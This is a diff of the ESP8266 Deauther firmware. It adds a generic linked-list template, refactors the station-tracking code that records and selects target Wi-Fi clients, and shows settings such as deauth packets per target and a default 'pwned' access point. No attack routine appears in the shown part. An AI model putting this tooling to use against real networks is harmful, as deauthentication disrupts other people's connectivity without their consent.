void setWebInterface(bool webInterface);
|
||||
void setChTime(uint16_t chTime);
|
||||
void setMacSt(String macStr);
|
||||
bool setMacSt(uint8_t* macSt);
|
||||
void setMacAP(String macStr);
|
||||
bool setMacAP(uint8_t* macAP);
|
||||
void setRandomTX(bool randomTX);
|
||||
void setAttackTimeout(uint32_t attackTimeout);
|
||||
void setLedEnabled(bool ledEnabled);
|
||||
void setProbesPerSSID(uint8_t probesPerSSID);
|
||||
void setHidden(bool hidden);
|
||||
void setCaptivePortal(bool captivePortal);
|
||||
void setMinDeauths(uint16_t minDeauths);
|
||||
void setDisplayTimeout(uint32_t displayTimeout);
|
||||
void setLang(String lang);
|
||||
private:
|
||||
bool changed = false;
|
||||
|
||||
String version = VERSION;
|
||||
|
||||
bool beaconChannel = false;
|
||||
bool autosave = true;
|
||||
bool beaconInterval = false;
|
||||
bool serialInterface = true;
|
||||
bool displayInterface = USE_DISPLAY;
|
||||
bool webInterface = true;
|
||||
bool randomTX = false;
|
||||
bool ledEnabled = true;
|
||||
|
||||
uint32_t attackTimeout = 600;
|
||||
uint32_t autosaveTime = 10000;
|
||||
uint32_t displayTimeout = 600;
|
||||
uint16_t deauthsPerTarget = 20;
|
||||
uint16_t chTime = 384;
|
||||
uint16_t minDeauths = 3;
|
||||
uint8_t forcePackets = 1;
|
||||
uint8_t maxCh = 13;
|
||||
uint8_t channel = 1;
|
||||
uint8_t deauthReason = 1;
|
||||
uint8_t* macSt;
|
||||
uint8_t* macAP;
|
||||
uint8_t probesPerSSID = 1;
|
||||
|
||||
String ssid = "pwned";
|
||||
String password = "deauther";
|
||||
bool hidden = false;
|
||||
bool captivePortal = true;
|
||||
String lang = "en";
|
||||
|
||||
String FILE_PATH = "/settings.json";
|
||||
|
||||
String getJsonStr();
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,515 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <type_traits>
|
||||
#include <cstddef>
|
||||
#include <functional>
|
||||
|
||||
template<class T>
|
||||
struct SimpleListNode {
|
||||
T data;
|
||||
SimpleListNode<T>* next = NULL;
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
class SimpleList {
|
||||
public:
|
||||
SimpleList();
|
||||
SimpleList(int(*compare)(T & a, T & b));
|
||||
virtual ~SimpleList();
|
||||
|
||||
virtual void setCompare(int (* compare)(T& a, T& b));
|
||||
|
||||
virtual int size();
|
||||
virtual bool isSorted();
|
||||
virtual bool isEmpty();
|
||||
|
||||
virtual void add(int index, T obj);
|
||||
virtual void add(T obj);
|
||||
virtual void insert(T obj);
|
||||
|
||||
virtual void replace(int index, T obj);
|
||||
virtual void swap(int x, int y);
|
||||
|
||||
virtual void remove(int index);
|
||||
virtual void removeFirst();
|
||||
virtual void removeLast();
|
||||
|
||||
virtual bool has(T obj);
|
||||
virtual int count(T obj);
|
||||
|
||||
virtual T shift();
|
||||
virtual T pop();
|
||||
virtual T get(int index);
|
||||
virtual T getFirst();
|
||||
virtual T getLast();
|
||||
|
||||
virtual void moveToEnd();
|
||||
|
||||
virtual int search(T obj);
|
||||
virtual int searchNext(T obj);
|
||||
virtual int binSearch(T obj);
|
||||
|
||||
virtual void sort();
|
||||
virtual void clear();
|
||||
|
||||
protected:
|
||||
int (* compare)(T& a, T& b) = NULL;
|
||||
|
||||
int listSize = 0;
|
||||
SimpleListNode<T>* listBegin = NULL;
|
||||
SimpleListNode<T>* listEnd = NULL;
|
||||
|
||||
// Helps get() method by saving last position
|
||||
SimpleListNode<T>* lastNodeGot = NULL;
|
||||
int lastIndexGot = -1;
|
||||
bool isCached = false;
|
||||
|
||||
bool sorted = true;
|
||||
|
||||
virtual SimpleListNode<T>* getNode(int index);
|
||||
virtual int binSearch(T obj, int lowerEnd, int upperEnd);
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
SimpleList<T>::SimpleList() {}
|
||||
|
||||
template<typename T>
|
||||
SimpleList<T>::SimpleList(int(*compare)(T & a, T & b)) {
|
||||
setCompare(compare);
|
||||
}
|
||||
|
||||
// Clear Nodes and free Memory
|
||||
template<typename T>
|
||||
SimpleList<T>::~SimpleList() {
|
||||
clear();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::setCompare(int (* compare)(T& a, T& b)) {
|
||||
this->compare = compare;
|
||||
sort();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
SimpleListNode<T>* SimpleList<T>::getNode(int index) {
|
||||
if ((index < 0) || (index >= listSize)) return NULL;
|
||||
|
||||
SimpleListNode<T>* hNode = listBegin;
|
||||
int c = 0;
|
||||
|
||||
if (isCached && (index >= lastIndexGot)) {
|
||||
c = lastIndexGot;
|
||||
hNode = lastNodeGot;
|
||||
}
|
||||
|
||||
while (hNode && c < index) {
|
||||
hNode = hNode->next;
|
||||
c++;
|
||||
}
|
||||
|
||||
if (hNode) {
|
||||
isCached = true;
|
||||
lastIndexGot = c;
|
||||
lastNodeGot = hNode;
|
||||
}
|
||||
|
||||
return hNode;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::size() {
|
||||
return listSize;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::isSorted() {
|
||||
return sorted;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::isEmpty() {
|
||||
return listSize == 0;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(T obj) {
|
||||
// create new node
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (!listBegin) listBegin = newNode;
|
||||
|
||||
if (listEnd) {
|
||||
listEnd->next = newNode;
|
||||
listEnd = newNode;
|
||||
} else {
|
||||
listEnd = newNode;
|
||||
}
|
||||
|
||||
listSize++;
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(int index, T obj) {
|
||||
if ((index < 0) || (index >= listSize)) {
|
||||
return;
|
||||
}
|
||||
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (index == 0) {
|
||||
listBegin = newNode;
|
||||
} else {
|
||||
SimpleListNode<T>* nodePrev = getNode(index - 1);
|
||||
newNode->next = nodePrev->next;
|
||||
nodePrev->next = newNode;
|
||||
}
|
||||
|
||||
listSize++;
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::insert(T obj) {
|
||||
if (!compare) {
|
||||
add(obj);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!sorted) sort();
|
||||
|
||||
// create new node
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (listSize == 0) {
|
||||
// add at start (first node)
|
||||
listBegin = newNode;
|
||||
|
||||
listEnd = newNode;
|
||||
} else {
|
||||
if (compare(obj, listEnd->data) >= 0) {
|
||||
// add at end
|
||||
listEnd->next = newNode;
|
||||
listEnd = newNode;
|
||||
} else if (compare(obj, listBegin->data) < 0) {
|
||||
// add at start
|
||||
newNode->next = listBegin;
|
||||
listBegin = newNode;
|
||||
} else {
|
||||
// insertion sort
|
||||
SimpleListNode<T>* h = listBegin;
|
||||
SimpleListNode<T>* p = NULL;
|
||||
bool found = false;
|
||||
|
||||
// here a sequential search, because otherwise the previous node couldn't be accessed
|
||||
while (h && !found) {
|
||||
if (compare(obj, h->data) < 0) {
|
||||
found = true;
|
||||
} else {
|
||||
p = h;
|
||||
h = h->next;
|
||||
}
|
||||
}
|
||||
newNode->next = h;
|
||||
|
||||
if (p) p->next = newNode;
|
||||
}
|
||||
}
|
||||
|
||||
listSize++;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::replace(int index, T obj) {
|
||||
if ((index >= 0) && (index < listSize)) {
|
||||
getNode(index)->data = obj;
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::swap(int x, int y) {
|
||||
// only continue when the index numbers are unequal and at least 0
|
||||
if ((x != y) && (x >= 0) && (y >= 0)) {
|
||||
if (x > y) { // the first index should be smaller than the second. If not, swap them!
|
||||
int h = x;
|
||||
x = y;
|
||||
y = h;
|
||||
}
|
||||
|
||||
// When data is small, copy it
|
||||
if (sizeof(T) < 24) {
|
||||
SimpleListNode<T>* nodeA = getNode(x);
|
||||
SimpleListNode<T>* nodeB = getNode(y);
|
||||
T h = nodeA->data;
|
||||
nodeA->data = nodeB->data;
|
||||
nodeB->data = h;
|
||||
}
|
||||
|
||||
// otherwise change the pointers
|
||||
else {
|
||||
// Example: a -> b -> c -> ... -> g -> h -> i
|
||||
// we want to swap b with h
|
||||
SimpleListNode<T>* nodeA = getNode(x - 1); // x.prev
|
||||
SimpleListNode<T>* nodeB = getNode(x); // x
|
||||
SimpleListNode<T>* nodeC = getNode(x + 1); // x.next
|
||||
SimpleListNode<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
|
||||
SimpleListNode<T>* nodeH = getNode(y); // y
|
||||
SimpleListNode<T>* nodeI = getNode(y + 1); // y.next
|
||||
|
||||
// a -> h -> i b -> c -> ... -> g -> h -> i
|
||||
if (nodeA) nodeA->next = nodeH;
|
||||
else listBegin = nodeH;
|
||||
|
||||
// a -> h -> c -> ... -> g -> h -> i b -> i
|
||||
if (nodeH != nodeC) // when nodes between b and h exist
|
||||
nodeH->next = nodeC;
|
||||
else nodeH->next = nodeB;
|
||||
|
||||
// a -> h -> i b -> i
|
||||
nodeB->next = nodeI;
|
||||
|
||||
if (!nodeI) listEnd = nodeB;
|
||||
|
||||
// a -> h -> c -> ... -> g -> b -> i
|
||||
if (nodeG != nodeB) // when more than 1 nodes between b and h exist
|
||||
nodeG->next = nodeB;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::remove(int index) {
|
||||
if ((index < 0) || (index >= listSize)) return;
|
||||
|
||||
SimpleListNode<T>* nodePrev = getNode(index - 1);
|
||||
SimpleListNode<T>* nodeToDelete = getNode(index);
|
||||
|
||||
if (index == 0) {
|
||||
listBegin = nodeToDelete->next;
|
||||
} else {
|
||||
nodePrev->next = nodeToDelete->next;
|
||||
|
||||
if (!nodePrev->next) listEnd = nodePrev;
|
||||
}
|
||||
|
||||
delete nodeToDelete;
|
||||
|
||||
isCached = false;
|
||||
|
||||
listSize--;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::removeFirst() {
|
||||
remove(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::removeLast() {
|
||||
remove(listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::has(T obj) {
|
||||
return binSearch(obj) >= 0;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::count(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < listSize; i++) {
|
||||
if (compare(obj, getNode(i)->data) == 0) c++;
|
||||
}
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::get(int index) {
|
||||
SimpleListNode<T>* h = getNode(index);
|
||||
|
||||
if (h) return h->data;
|
||||
|
||||
return T();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::getFirst() {
|
||||
return get(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::getLast() {
|
||||
return get(listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::moveToEnd() {
|
||||
SimpleListNode<T>* h = listBegin;
|
||||
|
||||
if (!h) return;
|
||||
|
||||
listBegin = listBegin->next;
|
||||
listEnd->next = h;
|
||||
|
||||
h->next = NULL;
|
||||
listEnd = h;
|
||||
|
||||
lastNodeGot = NULL;
|
||||
lastIndexGot = -1;
|
||||
isCached = false;
|
||||
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::search(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int i = 0;
|
||||
|
||||
SimpleListNode<T>* hNode = getNode(i);
|
||||
bool found = compare(obj, hNode->data) == 0;
|
||||
|
||||
while (!found && i < listSize) {
|
||||
i++;
|
||||
hNode = getNode(i);
|
||||
found = compare(obj, hNode->data) == 0;
|
||||
}
|
||||
|
||||
return found ? i : -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::searchNext(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int i = lastIndexGot;
|
||||
|
||||
SimpleListNode<T>* hNode = lastNodeGot;
|
||||
bool found = compare(obj, hNode->data) == 0;
|
||||
|
||||
while (!found && i < listSize) {
|
||||
i++;
|
||||
hNode = getNode(i);
|
||||
found = compare(obj, hNode->data) == 0;
|
||||
}
|
||||
|
||||
return found ? i : -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::binSearch(T obj, int lowerEnd, int upperEnd) {
|
||||
if (!compare || !sorted) return search(obj);
|
||||
|
||||
if (!listBegin) return -1;
|
||||
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
SimpleListNode<T>* hNode = getNode(0);
|
||||
int hIndex = 0;
|
||||
|
||||
while (lowerEnd <= upperEnd) {
|
||||
hNode = lastNodeGot;
|
||||
hIndex = lastIndexGot;
|
||||
res = compare(obj, getNode(mid)->data);
|
||||
|
||||
if (res == 0) {
|
||||
return mid;
|
||||
} else if (res < 0) {
|
||||
// when going left, set cached node back to previous cached node
|
||||
lastNodeGot = hNode;
|
||||
lastIndexGot = hIndex;
|
||||
isCached = true;
|
||||
|
||||
upperEnd = mid - 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
} else if (res > 0) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::binSearch(T obj) {
|
||||
return binSearch(obj, 0, listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::pop() {
|
||||
T data = getLast();
|
||||
|
||||
removeLast();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::shift() {
|
||||
T data = getFirst();
|
||||
|
||||
removeFirst();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::clear() {
|
||||
while (listSize > 0) removeFirst();
|
||||
|
||||
listSize = 0;
|
||||
listBegin = NULL;
|
||||
listEnd = NULL;
|
||||
|
||||
lastNodeGot = NULL;
|
||||
lastIndexGot = -1;
|
||||
isCached = false;
|
||||
|
||||
sorted = true;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::sort() {
|
||||
if (compare == NULL) return;
|
||||
|
||||
// selection sort (less swaps than insertion sort)
|
||||
|
||||
int indexH; // index of node i
|
||||
int indexMin; // index of next minimum node
|
||||
|
||||
SimpleListNode<T>* nodeMin; // next minimum node
|
||||
SimpleListNode<T>* nodeH; // helper node at index j
|
||||
|
||||
for (int i = 0; i < listSize - 1; i++) {
|
||||
nodeMin = getNode(i);
|
||||
indexH = i;
|
||||
indexMin = i;
|
||||
|
||||
for (int j = i + 1; j < listSize; j++) {
|
||||
nodeH = getNode(j);
|
||||
|
||||
if (compare(nodeMin->data, nodeH->data) > 0) {
|
||||
nodeMin = nodeH;
|
||||
indexMin = j;
|
||||
}
|
||||
}
|
||||
swap(indexH, indexMin);
|
||||
}
|
||||
|
||||
this->sorted = true;
|
||||
}
|
|
@ -1,323 +1,373 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Stations.h"
|
||||
|
||||
Stations::Stations() {
|
||||
list = new LinkedList<Station>;
|
||||
list = new SimpleList<Station>();
|
||||
}
|
||||
|
||||
void Stations::add(uint8_t* mac, int accesspointNum) {
|
||||
int stationNum = findStation(mac);
|
||||
int stationNum = findStation(mac);
|
||||
|
||||
if (stationNum < 0) {
|
||||
internal_add(mac, accesspointNum);
|
||||
//print(list->size() - 1, list->size() == 1, false);
|
||||
} else {
|
||||
*getPkts(stationNum) += 1;
|
||||
*getTime(stationNum) = currentTime;
|
||||
}
|
||||
changed = true;
|
||||
if (stationNum < 0) {
|
||||
internal_add(mac, accesspointNum);
|
||||
// print(list->size() - 1, list->size() == 1, false);
|
||||
} else {
|
||||
*getPkts(stationNum) += 1;
|
||||
*getTime(stationNum) = currentTime;
|
||||
}
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::findStation(uint8_t* mac) {
|
||||
uint8_t* station_i_mac;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (memcmp(getMac(i), mac, 6) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (memcmp(getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Stations::sort() {
|
||||
list->sort([](Station & a, Station & b) -> int{
|
||||
if (*a.pkts == *b.pkts) return 0;
|
||||
if (*a.pkts > *b.pkts) return -1;
|
||||
if (*a.pkts < *b.pkts) return 1;
|
||||
});
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (*(a.pkts) > *(b.pkts)) return -1;
|
||||
|
||||
if (*(a.pkts) == *(b.pkts)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::sortAfterChannel() {
|
||||
list->sort([](Station & a, Station & b) -> int{
|
||||
if (a.ch == b.ch) return 0;
|
||||
if (a.ch < b.ch) return -1;
|
||||
if (a.ch > b.ch) return 1;
|
||||
});
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (a.ch < b.ch) return -1;
|
||||
|
||||
if (a.ch == b.ch) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(ST_CLEARED_LIST);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
internal_remove(num);
|
||||
prnt(ST_REMOVED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
internal_removeAll();
|
||||
prntln(ST_CLEARED_LIST);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::removeOldest() {
|
||||
int oldest = 0;
|
||||
for (int i = 1; i < list->size(); i++) {
|
||||
if (*getTime(i) > *getTime(oldest))
|
||||
oldest = i;
|
||||
}
|
||||
internal_remove(oldest);
|
||||
changed = true;
|
||||
int oldest = 0;
|
||||
int c = count();
|
||||
|
||||
for (int i = 1; i < c; i++) {
|
||||
if (*getTime(i) > *getTime(oldest)) oldest = i;
|
||||
}
|
||||
internal_remove(oldest);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::printAll() {
|
||||
prntln(ST_HEADER);
|
||||
if (list->size() == 0)
|
||||
prntln(ST_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < list->size(); i++)
|
||||
print(i, i == 0, i == list->size() - 1);
|
||||
prntln(ST_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(ST_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Stations::printSelected() {
|
||||
prntln(ST_HEADER);
|
||||
int max = selected();
|
||||
prntln(ST_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(ST_NO_DEVICES_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < list->size() && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
if (max == 0) {
|
||||
prntln(ST_NO_DEVICES_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::print(int num) {
|
||||
print(num, true, true);
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Stations::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
if (header) {
|
||||
prntln(ST_TABLE_HEADER);
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(buildString(String(),(String)num, 2));
|
||||
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(buildString(String(SPACE), (String)*getPkts(num), 9));
|
||||
prnt(buildString(String(SPACE) + getAPStr(num), String(), 33));
|
||||
prnt(buildString(String(SPACE) + getTimeStr(num), String(), 10));
|
||||
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer)
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
if (header) {
|
||||
prntln(ST_TABLE_HEADER);
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));
|
||||
prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
String Stations::getAPStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
return accesspoints.getSSID(getAP(num));
|
||||
if (getAP(num) < 0) return String();
|
||||
|
||||
return accesspoints.getSSID(getAP(num));
|
||||
}
|
||||
|
||||
uint8_t Stations::getAP(int num) {
|
||||
if (!check(num)) return 0;
|
||||
return list->get(num).ap;
|
||||
uint8_t* Stations::getAPMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getAPMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getAPMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
int Stations::getAP(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return accesspoints.find(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
return names.find(getMac(num));
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
bool Stations::hasName(int num) {
|
||||
if (!check(num)) return false;
|
||||
return names.findID(getMac(num)) >= 0;
|
||||
if (!check(num)) return false;
|
||||
|
||||
return names.findID(getMac(num)) >= 0;
|
||||
}
|
||||
|
||||
uint8_t* Stations::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
return list->get(num).mac;
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
String Stations::getMacStr(int num) {
|
||||
String value = "";
|
||||
if (check(num)) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
}
|
||||
return value;
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Stations::getMacVendorStr(int num) {
|
||||
String value;
|
||||
if (check(num)){
|
||||
value = getVendorStr(num) + ":";
|
||||
uint8_t* mac = getMac(num);
|
||||
for (int i = 3; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
if (i < 5) value += ":";
|
||||
String value;
|
||||
|
||||
if (check(num)) {
|
||||
value = getVendorStr(num) + ":";
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
for (int i = 3; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
}
|
||||
}
|
||||
return value;
|
||||
return value;
|
||||
}
|
||||
|
||||
String Stations::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
return searchVendor(list->get(num).mac);
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Stations::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint32_t* Stations::getPkts(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
return list->get(num).pkts;
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).pkts;
|
||||
}
|
||||
|
||||
uint32_t* Stations::getTime(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
return list->get(num).time;
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).time;
|
||||
}
|
||||
|
||||
String Stations::getTimeStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
uint32_t difference = currentTime - *getTime(num);
|
||||
if (!check(num)) return String();
|
||||
|
||||
if (difference < 1000)
|
||||
return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000)
|
||||
return str(ST_SMALLER_ONEMIN);
|
||||
else {
|
||||
uint32_t minutes = difference / 60000;
|
||||
if (minutes > 60)
|
||||
return str(ST_BIGER_ONEHOUR);
|
||||
else
|
||||
return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
uint32_t difference = currentTime - *getTime(num);
|
||||
|
||||
if (difference < 1000) return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
|
||||
else {
|
||||
uint32_t minutes = difference / 60000;
|
||||
|
||||
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
|
||||
else return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
return list->get(num).selected;
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Stations::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
return list->get(num).ch;
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
void Stations::select(int num) {
|
||||
if (!check(num)) return;
|
||||
internal_select(num);
|
||||
prnt(ST_SELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(ST_SELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
internal_deselect(num);
|
||||
prnt(ST_DESELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(ST_DESELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(ST_REMOVED_STATION);
|
||||
prntln(num);
|
||||
|
||||
internal_remove(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::selectAll() {
|
||||
for (int i = 0; i < count(); i++)
|
||||
internal_select(i);
|
||||
prntln(ST_SELECTED_ALL);
|
||||
changed = true;
|
||||
for (int i = 0; i < count(); i++) internal_select(i);
|
||||
prntln(ST_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselectAll() {
|
||||
for (int i = 0; i < count(); i++)
|
||||
internal_deselect(i);
|
||||
prntln(ST_DESELECTED_ALL);
|
||||
changed = true;
|
